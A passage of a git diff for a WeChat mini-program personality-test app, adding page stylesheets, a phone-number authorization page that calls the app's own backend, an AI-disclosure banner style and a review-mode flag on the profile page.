{ - margin-top: 48rpx; - padding: 24rpx 28rpx; - border-radius: 24rpx; - background-color: #fff5f5; - border: 2rpx solid #ffe0e0; -} - -.tips-title-row { - display: flex; - align-items: center; - margin-bottom: 12rpx; -} - -.tips-icon { - width: 28rpx; - height: 28rpx; - border-radius: 9999rpx; - border: 4rpx solid #e63946; - margin-right: 10rpx; -} - -.tips-title { - font-size: 26rpx; - font-weight: 700; - color: #e63946; -} - -.tips-list { - margin-top: 4rpx; -} - -.tips-item { - font-size: 24rpx; - color: #b91c1c; - line-height: 1.7; -} - -/* 底部按钮区域 */ -.footer { - padding: 24rpx 0 0; - margin: 24rpx 48rpx calc(160rpx + env(safe-area-inset-bottom)); - background-color: #ffffff; -} - -.footer .primary-btn{ - width: 100%; -} - -.phone-auth-section { - padding: 24rpx 24rpx 0; - display: flex; - flex-direction: column; - gap: 16rpx; -} - -.phone-auth-tip { - font-size: 26rpx; - color: #4b5563; -} - -.phone-auth-btn { - height: 80rpx; - line-height: 80rpx; - border-radius: 40rpx; - background: linear-gradient(135deg, #7c3aed 0%, #5b21b6 100%); - color: #ffffff; - font-size: 28rpx; -} - -.phone-auth-btn::after { - border: none; -} - -.primary-btn { - width: 100%; - padding: 24rpx 0; - border-radius: 9999rpx; - border: none; - background-image: linear-gradient(90deg, #ff5e7d 0%, #ff85a1 100%); - box-shadow: 0 10rpx 25rpx rgba(248, 113, 113, 0.45); - font-size: 32rpx; - font-weight: 700; - color: #ffffff; -} - -.primary-btn::after { - border: none; -} +/* pages/index/camera.wxss - 上传照片引导页(参照设计稿) */ + +.page { + min-height: 100vh; + min-height: 100dvh; + background-color: #ffffff; + display: flex; + flex-direction: column; + box-sizing: border-box; +} + +/* 主体内容 */ +.content { + flex: 1; + /* 底部按钮作为正常内容,在 tabBar 之上留出空间 */ + padding: 40rpx 48rpx 40rpx; + box-sizing: border-box; +} + +/* 顶部说明文案 */ +.intro { + text-align: center; + margin-bottom: 40rpx; +} + +.intro-title { + font-size: 34rpx; + font-weight: 700; + color: #111827; + margin-bottom: 12rpx; +} + +.intro-desc-wrap { + display: flex; + flex-direction: column; + align-items: center; + row-gap: 4rpx; +} + +.intro-desc { + font-size: 24rpx; + color: #6b7280; + line-height: 1.7; +} + +/* 三个步骤区域 */ +.steps { + display: flex; + flex-direction: column; + row-gap: 40rpx; +} + +.step-item { + display: flex; + flex-direction: row; +} + +.step-index { + width: 60rpx; + height: 60rpx; + border-radius: 9999rpx; + border-width: 4rpx; + display: flex; + align-items: center; + justify-content: center; + margin-right: 24rpx; +} + +.step-index-primary { + background-color: #ffe5e9; + border-color: #ff5e7d; +} + +.step-index-secondary { + background-color: #f3f4f6; + border-color: #d1d5db; +} + +.step-index-text { + font-size: 26rpx; + font-weight: 700; +} + +.step-index-text-primary { + color: #ff5e7d; +} + +.step-index-text-secondary { + color: #6b7280; +} + +.step-body { + flex: 1; +} + +.step-title { + font-size: 30rpx; + font-weight: 700; + color: #111827; + margin-bottom: 4rpx; +} + +.step-subtitle { + font-size: 22rpx; + color: #9ca3af; + margin-bottom: 16rpx; +} + +.step-upload-row { + display: flex; + flex-direction: row; + column-gap: 24rpx; +} + +.sample-image { + width: 200rpx; + height: 200rpx; + border-radius: 24rpx; + border: 2rpx solid #f3f4f6; + box-shadow: 0 6rpx 16rpx rgba(0, 0, 0, 0.06); + flex-shrink: 0; +} + +.upload-card { + width: 200rpx; + height: 200rpx; + overflow: hidden; + border-radius: 24rpx; + border: 4rpx dashed #fecaca; + background-color: #fff5f5; + display: flex; + flex-direction: column; + align-items: center; + justify-content: center; + color: #f97373; +} + +.upload-icon { + font-size: 40rpx; + margin-bottom: 8rpx; +} + +.upload-text { + font-size: 24rpx; +} + +.upload-preview { + width: 100%; + height: 100%; + border-radius: 20rpx; + display: block; +} + +/* 温馨提示卡片 */ +.tips-card { + margin-top: 48rpx; + padding: 24rpx 28rpx; + border-radius: 24rpx; + background-color: #fff5f5; + border: 2rpx solid #ffe0e0; +} + +.tips-title-row { + display: flex; + align-items: center; + margin-bottom: 12rpx; +} + +.tips-icon { + width: 28rpx; + height: 28rpx; + border-radius: 9999rpx; + border: 4rpx solid #e63946; + margin-right: 10rpx; +} + +.tips-title { + font-size: 26rpx; + font-weight: 700; + color: #e63946; +} + +.tips-list { + margin-top: 4rpx; +} + +.tips-item { + font-size: 24rpx; + color: #b91c1c; + line-height: 1.7; +} + +/* 底部按钮区域 */ +.footer { + padding: 24rpx 0 0; + margin: 24rpx 48rpx calc(160rpx + env(safe-area-inset-bottom)); + background-color: #ffffff; +} + +.footer .primary-btn{ + width: 100%; +} + +.phone-auth-section { + padding: 24rpx 24rpx 0; + display: flex; + flex-direction: column; + gap: 16rpx; +} + +.phone-auth-tip { + font-size: 26rpx; + color: #4b5563; +} + +.phone-auth-btn { + height: 80rpx; + line-height: 80rpx; + border-radius: 40rpx; + background: linear-gradient(135deg, #7c3aed 0%, #5b21b6 100%); + color: #ffffff; + font-size: 28rpx; +} + +.phone-auth-btn::after { + border: none; +} + +/* AI 生成内容标识横幅 */ +.ai-disclosure-banner { + display: flex; + align-items: center; + justify-content: center; + gap: 12rpx; + margin: 32rpx 48rpx 0; + padding: 16rpx 24rpx; + background: linear-gradient(135deg, #f0f4ff 0%, #e8ecf8 100%); + border: 1rpx solid #c7d2fe; + border-radius: 12rpx; +} + +.ai-disclosure-icon { + width: 44rpx; + height: 44rpx; + border-radius: 8rpx; + background: linear-gradient(135deg, #6366f1 0%, #818cf8 100%); + color: #fff; + font-size: 20rpx; + font-weight: 700; + display: flex; + align-items: center; + justify-content: center; + flex-shrink: 0; +} + +.ai-disclosure-text { + font-size: 22rpx; + color: #4338ca; + line-height: 1.4; +} + +.primary-btn { + width: 100%; + padding: 24rpx 0; + border-radius: 9999rpx; + border: none; + background-image: linear-gradient(90deg, #ff5e7d 0%, #ff85a1 100%); + box-shadow: 0 10rpx 25rpx rgba(248, 113, 113, 0.45); + font-size: 32rpx; + font-weight: 700; + color: #ffffff; +} + +.primary-btn::after { + border: none; +} diff --git a/miniprogram/pages/phone-auth/index.js b/miniprogram/pages/phone-auth/index.js index 886de17..1c72b08 100644 --- a/miniprogram/pages/phone-auth/index.js +++ b/miniprogram/pages/phone-auth/index.js @@ -1,74 +1,74 @@ -// 手机号授权页:用户点击按钮授权后,用 code 换手机号并写回 userInfo,再返回或跳转 next -const app = getApp() - -Page({ - data: { - next: '', - }, - - onLoad(options) { - this.setData({ - next: options.next ? decodeURIComponent(options.next) : '', - }) - }, - - onGetPhoneNumber(e) { - const { code, errMsg } = e.detail || {} - if (errMsg && errMsg.indexOf('getPhoneNumber:fail') === 0) { - wx.showToast({ title: '需要授权手机号才能继续', icon: 'none' }) - return - } - if (!code) { - wx.showToast({ title: '获取手机号失败', icon: 'none' }) - return - } - const token = app.globalData.token || wx.getStorageSync('token') - if (!token) { - wx.showToast({ title: '请先登录', icon: 'none' }) - return - } - wx.showLoading({ title: '处理中...', mask: true }) - wx.request({ - url: `${app.globalData.apiBase.replace(/\/$/, '')}/api/auth/wechat/phone`, - method: 'POST', - header: { - 'Authorization': 'Bearer ' + token, - 'Content-Type': 'application/json', - }, - data: { code }, - success: (res) => { - wx.hideLoading() - if (res.statusCode === 200 && res.data && res.data.code === 200) { - const data = res.data.data || {} - const user = data.user || app.globalData.userInfo || {} - const phone = data.phone || user.phone || '' - const newUser = { ...user, phone } - app.globalData.userInfo = newUser - wx.setStorageSync('userInfo', newUser) - wx.showToast({ title: '授权成功', icon: 'success' }) - const nextPath = this.data.next && this.data.next.startsWith('/') ? this.data.next : '' - const tabBarPaths = ['/pages/index/index', '/pages/index/camera', '/pages/profile/index'] - const isTabBar = tabBarPaths.some(p => nextPath === p || nextPath.startsWith(p + '?')) - if (nextPath) { - setTimeout(() => { - if (isTabBar) { - const pathOnly = nextPath.split('?')[0] - wx.switchTab({ url: pathOnly, fail: () => wx.navigateBack() }) - } else { - wx.redirectTo({ url: nextPath, fail: () => wx.navigateBack() }) - } - }, 500) - } else { - setTimeout(() => wx.navigateBack(), 500) - } - } else { - wx.showToast({ title: res.data && res.data.message ? res.data.message : '获取手机号失败', icon: 'none' }) - } - }, - fail: () => { - wx.hideLoading() - wx.showToast({ title: '网络请求失败', icon: 'none' }) - }, - }) - }, -}) +// 手机号授权页:用户点击按钮授权后,用 code 换手机号并写回 userInfo,再返回或跳转 next +const app = getApp() + +Page({ + data: { + next: '', + }, + + onLoad(options) { + this.setData({ + next: options.next ? decodeURIComponent(options.next) : '', + }) + }, + + onGetPhoneNumber(e) { + const { code, errMsg } = e.detail || {} + if (errMsg && errMsg.indexOf('getPhoneNumber:fail') === 0) { + wx.showToast({ title: '需要授权手机号才能继续', icon: 'none' }) + return + } + if (!code) { + wx.showToast({ title: '获取手机号失败', icon: 'none' }) + return + } + const token = app.globalData.token || wx.getStorageSync('token') + if (!token) { + wx.showToast({ title: '请先登录', icon: 'none' }) + return + } + wx.showLoading({ title: '处理中...', mask: true }) + wx.request({ + url: `${app.globalData.apiBase.replace(/\/$/, '')}/api/auth/wechat/phone`, + method: 'POST', + header: { + 'Authorization': 'Bearer ' + token, + 'Content-Type': 'application/json', + }, + data: { code }, + success: (res) => { + wx.hideLoading() + if (res.statusCode === 200 && res.data && res.data.code === 200) { + const data = res.data.data || {} + const user = data.user || app.globalData.userInfo || {} + const phone = data.phone || user.phone || '' + const newUser = { ...user, phone } + app.globalData.userInfo = newUser + wx.setStorageSync('userInfo', newUser) + wx.showToast({ title: '授权成功', icon: 'success' }) + const nextPath = this.data.next && this.data.next.startsWith('/') ? this.data.next : '' + const tabBarPaths = ['/pages/index/index', '/pages/index/camera', '/pages/profile/index'] + const isTabBar = tabBarPaths.some(p => nextPath === p || nextPath.startsWith(p + '?')) + if (nextPath) { + setTimeout(() => { + if (isTabBar) { + const pathOnly = nextPath.split('?')[0] + wx.switchTab({ url: pathOnly, fail: () => wx.navigateBack() }) + } else { + wx.redirectTo({ url: nextPath, fail: () => wx.navigateBack() }) + } + }, 500) + } else { + setTimeout(() => wx.navigateBack(), 500) + } + } else { + wx.showToast({ title: res.data && res.data.message ? res.data.message : '获取手机号失败', icon: 'none' }) + } + }, + fail: () => { + wx.hideLoading() + wx.showToast({ title: '网络请求失败', icon: 'none' }) + }, + }) + }, +}) diff --git a/miniprogram/pages/phone-auth/index.json b/miniprogram/pages/phone-auth/index.json index 4d34557..1f1120b 100644 --- a/miniprogram/pages/phone-auth/index.json +++ b/miniprogram/pages/phone-auth/index.json @@ -1,4 +1,4 @@ -{ - "navigationBarTitleText": "授权手机号", - "usingComponents": {} -} +{ + "navigationBarTitleText": "授权手机号", + "usingComponents": {} +} diff --git a/miniprogram/pages/phone-auth/index.wxml b/miniprogram/pages/phone-auth/index.wxml index eecad2b..3b5d05e 100644 --- a/miniprogram/pages/phone-auth/index.wxml +++ b/miniprogram/pages/phone-auth/index.wxml @@ -1,5 +1,5 @@ - - 为保障服务与联系需要,请授权您的手机号。 - 授权后可在「查看报告」「支付」「企业咨询」等场景使用,仅需授权一次。 - - + + 为保障服务与联系需要,请授权您的手机号。 + 授权后可在「查看报告」「支付」「企业咨询」等场景使用,仅需授权一次。 + + diff --git a/miniprogram/pages/phone-auth/index.wxss b/miniprogram/pages/phone-auth/index.wxss index 2e079d3..1b8b1c7 100644 --- a/miniprogram/pages/phone-auth/index.wxss +++ b/miniprogram/pages/phone-auth/index.wxss @@ -1,29 +1,29 @@ -.container { - padding: 48rpx 32rpx; - min-height: 100vh; - box-sizing: border-box; -} -.tip { - font-size: 30rpx; - color: #333; - line-height: 1.6; - margin-bottom: 24rpx; -} -.tip.sub { - color: #666; - font-size: 26rpx; - margin-bottom: 64rpx; -} -.auth-btn { - width: 100%; - height: 88rpx; - line-height: 88rpx; - background: linear-gradient(135deg, #7c3aed 0%, #5b21b6 100%); - color: #fff; - border-radius: 44rpx; - font-size: 32rpx; - border: none; -} -.auth-btn::after { - border: none; -} +.container { + padding: 48rpx 32rpx; + min-height: 100vh; + box-sizing: border-box; +} +.tip { + font-size: 30rpx; + color: #333; + line-height: 1.6; + margin-bottom: 24rpx; +} +.tip.sub { + color: #666; + font-size: 26rpx; + margin-bottom: 64rpx; +} +.auth-btn { + width: 100%; + height: 88rpx; + line-height: 88rpx; + background: linear-gradient(135deg, #7c3aed 0%, #5b21b6 100%); + color: #fff; + border-radius: 44rpx; + font-size: 32rpx; + border: none; +} +.auth-btn::after { + border: none; +} diff --git a/miniprogram/pages/profile/index.js b/miniprogram/pages/profile/index.js index b55c913..4b0cf8e 100644 --- a/miniprogram/pages/profile/index.js +++ b/miniprogram/pages/profile/index.js @@ -18,6 +18,7 @@ Page({ discTime: '', pdpTime: '', aiTime: '', + reviewMode: false, /** 最近记录的数据库 ID,用于跳转时传参 */ mbtiResultId: null, discResultId: null, @@ -45,13 +46,16 @@ Page({ this.runLoginThenLoad() }, onShow() { + // 同步审核模式 + this.setData({ reviewMode: !!app.globalData.reviewMode }) // 如果是从其他页面返回,且已经登录,则只刷新数据而不重新执行登录流程 if (this.data.hasLogin) { this.loadData() } - const tabBar = typeof this.getTabBar === 'function' && this.getTabBar() - if (tabBar) tabBar.setData({ selected: 2, maintenanceMode: !!app.globalData.maintenanceMode }) + if (typeof this.getTabBar === 'function' && this.getTabBar()) { + this.getTabBar().setData({ selected: 2 }) + } }, /** 先确保登录完成(静默登录),再刷新页面数据 */ @@ -301,16 +305,18 @@ Page({ onShareAppMessage() { const { getSharePathByScope } = require('../../utils/share') + const rm = !!app.globalData.reviewMode return { - title: '神仙团队AI性格测试 - 发现你的MBTI类型', + title: '神仙团队性格测试 - 发现你的MBTI类型', path: getSharePathByScope('/pages/index/index') } }, onShareTimeline() { const { buildShareQuery } = require('../../utils/share') + const rm = !!app.globalData.reviewMode return { - title: '神仙团队AI性格测试 - 发现你的MBTI类型', + title: '神仙团队性格测试 - 发现你的MBTI类型', query: buildShareQuery() } } diff --git a/miniprogram/pages/profile/index.json b/miniprogram/pages/profile/index.json index 0d7731d..2c69765 100644 --- a/miniprogram/pages/profile/index.json +++ b/miniprogram/pages/profile/index.json @@ -1,6 +1,6 @@ -{ - "navigationBarTitleText": "", - "navigationBarBackgroundColor": "#F9FAFB", - "navigationBarTextStyle": "black", - "usingComponents": {} -} +{ + "navigationBarTitleText": "", + "navigationBarBackgroundColor": "#F9FAFB", + "navigationBarTextStyle": "black", + "usingComponents": {} +} diff --git a/miniprogram/pages/profile/index.wxml b/miniprogram/pages/profile/index.wxml index 89ef911..e1f9cf0 100644 --- a/miniprogram/pages/profile/index.wxml +++ b/miniprogram/pages/profile/index.wxml @@ -108,8 +108,8 @@ {{pdpType}} {{pdpTime}} - - + + 👁️ diff --git a/miniprogram/pages/profile/index.wxss b/miniprogram/pages/profile/index.wxss index 252f93b..33d810b 100644 --- a/miniprogram/pages/profile/index.wxss +++ b/miniprogram/pages/profile/index.wxss @@ -1,534 +1,534 @@ -/* pages/profile/index.wxss */ -page { - background-color: #F9FAFB; -} - -.page { - min-height: 100vh; - background-color: #F9FAFB; - padding-bottom: 140rpx; -} - -/* ===== 顶部栏 ===== */ -.topbar { - display: flex; - align-items: center; - justify-content: space-between; - padding: 16rpx 40rpx 24rpx; - background: #F9FAFB; -} - -.topbar-title { - font-size: 48rpx; - font-weight: 700; - color: #111827; - letter-spacing: -0.5rpx; -} - -.topbar-actions { - display: flex; - gap: 12rpx; - align-items: center; -} - -.settings-btn { - width: 72rpx; - height: 72rpx; - display: flex; - align-items: center; - justify-content: center; -} - -.settings-icon { - font-size: 44rpx; - color: #4B5563; -} - -.icon-btn { - width: 72rpx; - height: 72rpx; - border-radius: 50%; - background: transparent; - display: flex; - align-items: center; - justify-content: center; - padding: 0; - border: none; -} - -.icon-btn::after { - border: none; -} - -.icon-text { - font-size: 36rpx; -} - -/* ===== 用户卡片 ===== */ -.user-card { - margin: 0 32rpx 28rpx; - background: #FFFFFF; - border-radius: 28rpx; - padding: 36rpx 32rpx; - display: flex; - align-items: center; - gap: 20rpx; - box-shadow: 0 4rpx 24rpx rgba(0,0,0,0.05); - position: relative; -} - -.user-card:active { - opacity: 0.9; -} - -/* 头像区域(已登录,仅展示) */ -.avatar-wrap { - position: relative; - width: 144rpx; - height: 144rpx; - flex-shrink: 0; - display: flex; - align-items: center; - justify-content: center; -} - -.avatar-ring { - width: 144rpx; - height: 144rpx; - border-radius: 50%; - padding: 4rpx; - background: linear-gradient(135deg, #FFDEE9 0%, #B5FFFC 100%); - display: flex; - align-items: center; - justify-content: center; - flex-shrink: 0; - box-shadow: inset 0 2rpx 10rpx rgba(0,0,0,0.05); - box-sizing: border-box; -} - -.avatar-img { - width: 128rpx; - height: 128rpx; - border-radius: 50%; - border: 4rpx solid #FFFFFF; - display: block; -} - -.avatar-letter-wrap { - width: 128rpx; - height: 128rpx; - border-radius: 50%; - display: flex; - align-items: center; - justify-content: center; - border: 4rpx solid #FFFFFF; -} - -.avatar-letter { - font-size: 64rpx; - font-weight: 700; - color: #FFFFFF; -} - -.online-dot { - position: absolute; - bottom: 8rpx; - right: 8rpx; - width: 28rpx; - height: 28rpx; - background: #22C55E; - border-radius: 50%; - border: 4rpx solid #FFFFFF; - z-index: 10; - pointer-events: none; -} - -/* 用户信息 */ -.user-meta { - flex: 1; - min-width: 0; - display: flex; - flex-direction: column; - justify-content: center; - gap: 8rpx; - padding-left: 12rpx; -} - -.user-name { - font-size: 36rpx; - font-weight: 700; - color: #111827; - display: block; -} - -.user-sub { - font-size: 24rpx; - color: #9CA3AF; -} - -.nickname-text { - font-size: 36rpx; - font-weight: 700; - color: #111827; - line-height: 1.3; - display: block; -} - -/* 类型标签 */ -.tags-scroll { - width: 100%; - white-space: nowrap; -} - -.tags-row { - display: flex; - gap: 10rpx; - flex-wrap: nowrap; -} - -.tag { - display: inline-flex; - align-items: center; - padding: 6rpx 16rpx; - border-radius: 10rpx; - flex-shrink: 0; -} - -.tag-text { - font-size: 20rpx; - font-weight: 600; - white-space: nowrap; -} - -.tag-purple { - background: #EDE9FE; -} -.tag-purple .tag-text { - color: #7C3AED; -} - -.tag-blue { - background: #DBEAFE; -} -.tag-blue .tag-text { - color: #2563EB; -} - -.tag-orange { - background: #FEF3C7; -} -.tag-orange .tag-text { - color: #D97706; -} - -.tag-gray { - background: #F3F4F6; -} -.tag-gray .tag-text { - color: #9CA3AF; -} - -.chevron { - font-size: 48rpx; - color: #D1D5DB; - flex-shrink: 0; -} - -/* ===== Section ===== */ -.section { - margin-bottom: 28rpx; -} - -.px-section { - padding: 0 32rpx; -} - -.section-header { - display: flex; - align-items: center; - justify-content: space-between; - padding: 0 32rpx; - margin-bottom: 20rpx; -} - -.section-title { - font-size: 32rpx; - font-weight: 700; - color: #1F2937; - display: block; - margin-bottom: 20rpx; -} - -.section-header .section-title { - margin-bottom: 0; -} - -.section-link { - display: flex; - align-items: center; -} - -.section-link-text { - font-size: 24rpx; - color: #F43F5E; - font-weight: 500; -} - -/* ===== 测试结果卡片(横向滚动) ===== */ -.cards-scroll { - width: 100%; - white-space: nowrap; -} - -.cards-row { - display: flex; - gap: 24rpx; - padding: 8rpx 32rpx 16rpx; - width: max-content; -} - -.result-card { - width: 280rpx; - height: 240rpx; - border-radius: 24rpx; - padding: 32rpx 28rpx 24rpx; - display: flex; - flex-direction: column; - justify-content: space-between; - position: relative; - overflow: hidden; - box-shadow: 0 4rpx 20rpx rgba(0,0,0,0.06); - border: 1rpx solid rgba(0,0,0,0.04); - background: #FFFFFF; - flex-shrink: 0; -} - -.card-deco { - position: absolute; - top: -24rpx; - right: -24rpx; - width: 120rpx; - height: 120rpx; - border-radius: 50%; - opacity: 0.3; -} - -.card-purple .card-deco { background: #DDD6FE; } -.card-blue .card-deco { background: #BFDBFE; } -.card-orange .card-deco { background: #FDE68A; } -.card-rose .card-deco { background: #FECDD3; } - -.card-icon-wrap { - width: 64rpx; - height: 64rpx; - border-radius: 16rpx; - display: flex; - align-items: center; - justify-content: center; -} - -.card-icon-purple { background: #EDE9FE; } -.card-icon-blue { background: #DBEAFE; } -.card-icon-orange { background: #FEF3C7; } -.card-icon-rose { background: #FFE4E6; } - -.card-icon { - font-size: 32rpx; -} - -.card-label { - font-size: 22rpx; - color: #9CA3AF; - font-weight: 500; -} - -.card-value { - font-size: 44rpx; - font-weight: 800; - letter-spacing: -1rpx; -} - -.card-purple .card-value { color: #7C3AED; } -.card-blue .card-value { color: #2563EB; } -.card-orange .card-value { color: #D97706; } -.card-rose .card-value { color: #E11D48; } - -.card-time { - font-size: 20rpx; - color: #D1D5DB; -} - -.card-time { - font-size: 20rpx; - color: #D1D5DB; -} - -/* ===== 推广中心 ===== */ -.promo-card { - background: #FFFFFF; - border-radius: 32rpx; - padding: 40rpx; - box-shadow: 0 4rpx 24rpx rgba(0,0,0,0.05); - border: 1rpx solid rgba(0,0,0,0.04); -} - -.promo-header { - display: flex; - align-items: center; - margin-bottom: 40rpx; -} - -.promo-title-wrap { - display: flex; - align-items: center; - gap: 12rpx; -} - -.promo-icon { - font-size: 32rpx; -} - -.promo-title { - font-size: 32rpx; - font-weight: 700; - color: #1F2937; -} - -.promo-stats { - display: flex; - justify-content: space-between; - align-items: center; -} - -.promo-stat-item { - flex: 1; - display: flex; - flex-direction: column; - align-items: center; - gap: 8rpx; -} - -.promo-stat-label { - font-size: 24rpx; - color: #9CA3AF; -} - -.promo-stat-value { - font-size: 36rpx; - font-weight: 700; - color: #111827; - font-family: "DIN Alternate", "Courier New", Courier, monospace; -} - -.promo-stat-divider { - width: 1rpx; - height: 60rpx; - background: #F3F4F6; -} - -.promo-highlight { - color: #F43F5E; -} - -/* ===== 服务菜单 ===== */ -.menu-card { - background: #FFFFFF; - border-radius: 24rpx; - overflow: hidden; - box-shadow: 0 4rpx 20rpx rgba(0,0,0,0.05); - border: 1rpx solid rgba(0,0,0,0.04); -} - -.menu-item { - display: flex; - align-items: center; - padding: 32rpx 36rpx; - gap: 28rpx; - position: relative; -} - -.menu-item:active { - background: #F9FAFB; -} - -.menu-divider { - height: 1rpx; - background: #F3F4F6; - margin: 0 36rpx; -} - -.menu-icon-wrap { - width: 80rpx; - height: 80rpx; - border-radius: 50%; - display: flex; - align-items: center; - justify-content: center; - flex-shrink: 0; -} - -.menu-icon-red { background: #FEF2F2; } -.menu-icon-indigo { background: #EEF2FF; } -.menu-icon-amber { background: #FFFBEB; } -.menu-icon-purple { background: #EDE9FE; } - -.menu-icon { - font-size: 36rpx; -} - -.menu-content { - flex: 1; - min-width: 0; -} - -.menu-title { - font-size: 30rpx; - font-weight: 600; - color: #111827; - display: block; - margin-bottom: 6rpx; -} - -.menu-sub { - font-size: 24rpx; - color: #9CA3AF; - display: block; -} - -.menu-chevron { - font-size: 48rpx; - color: #D1D5DB; - flex-shrink: 0; -} - -/* ===== 退出登录按钮 ===== */ -.logout-btn { - width: 100%; - padding: 32rpx; - background: #FFF1F2; - border: 1rpx solid #FFE4E6; - border-radius: 24rpx; - display: flex; - align-items: center; - justify-content: center; - gap: 16rpx; - box-sizing: border-box; -} - -.logout-btn:active { - opacity: 0.8; -} - -.logout-icon { - font-size: 32rpx; -} - -.logout-text { - font-size: 30rpx; - font-weight: 600; - color: #EF4444; -} - -.bottom-safe { - height: 40rpx; -} +/* pages/profile/index.wxss */ +page { + background-color: #F9FAFB; +} + +.page { + min-height: 100vh; + background-color: #F9FAFB; + padding-bottom: 140rpx; +} + +/* ===== 顶部栏 ===== */ +.topbar { + display: flex; + align-items: center; + justify-content: space-between; + padding: 16rpx 40rpx 24rpx; + background: #F9FAFB; +} + +.topbar-title { + font-size: 48rpx; + font-weight: 700; + color: #111827; + letter-spacing: -0.5rpx; +} + +.topbar-actions { + display: flex; + gap: 12rpx; + align-items: center; +} + +.settings-btn { + width: 72rpx; + height: 72rpx; + display: flex; + align-items: center; + justify-content: center; +} + +.settings-icon { + font-size: 44rpx; + color: #4B5563; +} + +.icon-btn { + width: 72rpx; + height: 72rpx; + border-radius: 50%; + background: transparent; + display: flex; + align-items: center; + justify-content: center; + padding: 0; + border: none; +} + +.icon-btn::after { + border: none; +} + +.icon-text { + font-size: 36rpx; +} + +/* ===== 用户卡片 ===== */ +.user-card { + margin: 0 32rpx 28rpx; + background: #FFFFFF; + border-radius: 28rpx; + padding: 36rpx 32rpx; + display: flex; + align-items: center; + gap: 20rpx; + box-shadow: 0 4rpx 24rpx rgba(0,0,0,0.05); + position: relative; +} + +.user-card:active { + opacity: 0.9; +} + +/* 头像区域(已登录,仅展示) */ +.avatar-wrap { + position: relative; + width: 144rpx; + height: 144rpx; + flex-shrink: 0; + display: flex; + align-items: center; + justify-content: center; +} + +.avatar-ring { + width: 144rpx; + height: 144rpx; + border-radius: 50%; + padding: 4rpx; + background: linear-gradient(135deg, #FFDEE9 0%, #B5FFFC 100%); + display: flex; + align-items: center; + justify-content: center; + flex-shrink: 0; + box-shadow: inset 0 2rpx 10rpx rgba(0,0,0,0.05); + box-sizing: border-box; +} + +.avatar-img { + width: 128rpx; + height: 128rpx; + border-radius: 50%; + border: 4rpx solid #FFFFFF; + display: block; +} + +.avatar-letter-wrap { + width: 128rpx; + height: 128rpx; + border-radius: 50%; + display: flex; + align-items: center; + justify-content: center; + border: 4rpx solid #FFFFFF; +} + +.avatar-letter { + font-size: 64rpx; + font-weight: 700; + color: #FFFFFF; +} + +.online-dot { + position: absolute; + bottom: 8rpx; + right: 8rpx; + width: 28rpx; + height: 28rpx; + background: #22C55E; + border-radius: 50%; + border: 4rpx solid #FFFFFF; + z-index: 10; + pointer-events: none; +} + +/* 用户信息 */ +.user-meta { + flex: 1; + min-width: 0; + display: flex; + flex-direction: column; + justify-content: center; + gap: 8rpx; + padding-left: 12rpx; +} + +.user-name { + font-size: 36rpx; + font-weight: 700; + color: #111827; + display: block; +} + +.user-sub { + font-size: 24rpx; + color: #9CA3AF; +} + +.nickname-text { + font-size: 36rpx; + font-weight: 700; + color: #111827; + line-height: 1.3; + display: block; +} + +/* 类型标签 */ +.tags-scroll { + width: 100%; + white-space: nowrap; +} + +.tags-row { + display: flex; + gap: 10rpx; + flex-wrap: nowrap; +} + +.tag { + display: inline-flex; + align-items: center; + padding: 6rpx 16rpx; + border-radius: 10rpx; + flex-shrink: 0; +} + +.tag-text { + font-size: 20rpx; + font-weight: 600; + white-space: nowrap; +} + +.tag-purple { + background: #EDE9FE; +} +.tag-purple .tag-text { + color: #7C3AED; +} + +.tag-blue { + background: #DBEAFE; +} +.tag-blue .tag-text { + color: #2563EB; +} + +.tag-orange { + background: #FEF3C7; +} +.tag-orange .tag-text { + color: #D97706; +} + +.tag-gray { + background: #F3F4F6; +} +.tag-gray .tag-text { + color: #9CA3AF; +} + +.chevron { + font-size: 48rpx; + color: #D1D5DB; + flex-shrink: 0; +} + +/* ===== Section ===== */ +.section { + margin-bottom: 28rpx; +} + +.px-section { + padding: 0 32rpx; +} + +.section-header { + display: flex; + align-items: center; + justify-content: space-between; + padding: 0 32rpx; + margin-bottom: 20rpx; +} + +.section-title { + font-size: 32rpx; + font-weight: 700; + color: #1F2937; + display: block; + margin-bottom: 20rpx; +} + +.section-header .section-title { + margin-bottom: 0; +} + +.section-link { + display: flex; + align-items: center; +} + +.section-link-text { + font-size: 24rpx; + color: #F43F5E; + font-weight: 500; +} + +/* ===== 测试结果卡片(横向滚动) ===== */ +.cards-scroll { + width: 100%; + white-space: nowrap; +} + +.cards-row { + display: flex; + gap: 24rpx; + padding: 8rpx 32rpx 16rpx; + width: max-content; +} + +.result-card { + width: 280rpx; + height: 240rpx; + border-radius: 24rpx; + padding: 32rpx 28rpx 24rpx; + display: flex; + flex-direction: column; + justify-content: space-between; + position: relative; + overflow: hidden; + box-shadow: 0 4rpx 20rpx rgba(0,0,0,0.06); + border: 1rpx solid rgba(0,0,0,0.04); + background: #FFFFFF; + flex-shrink: 0; +} + +.card-deco { + position: absolute; + top: -24rpx; + right: -24rpx; + width: 120rpx; + height: 120rpx; + border-radius: 50%; + opacity: 0.3; +} + +.card-purple .card-deco { background: #DDD6FE; } +.card-blue .card-deco { background: #BFDBFE; } +.card-orange .card-deco { background: #FDE68A; } +.card-rose .card-deco { background: #FECDD3; } + +.card-icon-wrap { + width: 64rpx; + height: 64rpx; + border-radius: 16rpx; + display: flex; + align-items: center; + justify-content: center; +} + +.card-icon-purple { background: #EDE9FE; } +.card-icon-blue { background: #DBEAFE; } +.card-icon-orange { background: #FEF3C7; } +.card-icon-rose { background: #FFE4E6; } + +.card-icon { + font-size: 32rpx; +} + +.card-label { + font-size: 22rpx; + color: #9CA3AF; + font-weight: 500; +} + +.card-value { + font-size: 44rpx; + font-weight: 800; + letter-spacing: -1rpx; +} + +.card-purple .card-value { color: #7C3AED; } +.card-blue .card-value { color: #2563EB; } +.card-orange .card-value { color: #D97706; } +.card-rose .card-value { color: #E11D48; } + +.card-time { + font-size: 20rpx; + color: #D1D5DB; +} + +.card-time { + font-size: 20rpx; + color: #D1D5DB; +} + +/* ===== 推广中心 ===== */ +.promo-card { + background: #FFFFFF; + border-radius: 32rpx; + padding: 40rpx; + box-shadow: 0 4rpx 24rpx rgba(0,0,0,0.05); + border: 1rpx solid rgba(0,0,0,0.04); +} + +.promo-header { + display: flex; + align-items: center; + margin-bottom: 40rpx; +} + +.promo-title-wrap { + display: flex; + align-items: center; + gap: 12rpx; +} + +.promo-icon { + font-size: 32rpx; +} + +.promo-title { + font-size: 32rpx; + font-weight: 700; + color: #1F2937; +} + +.promo-stats { + display: flex; + justify-content: space-between; + align-items: center; +} + +.promo-stat-item { + flex: 1; + display: flex; + flex-direction: column; + align-items: center; + gap: 8rpx; +} + +.promo-stat-label { + font-size: 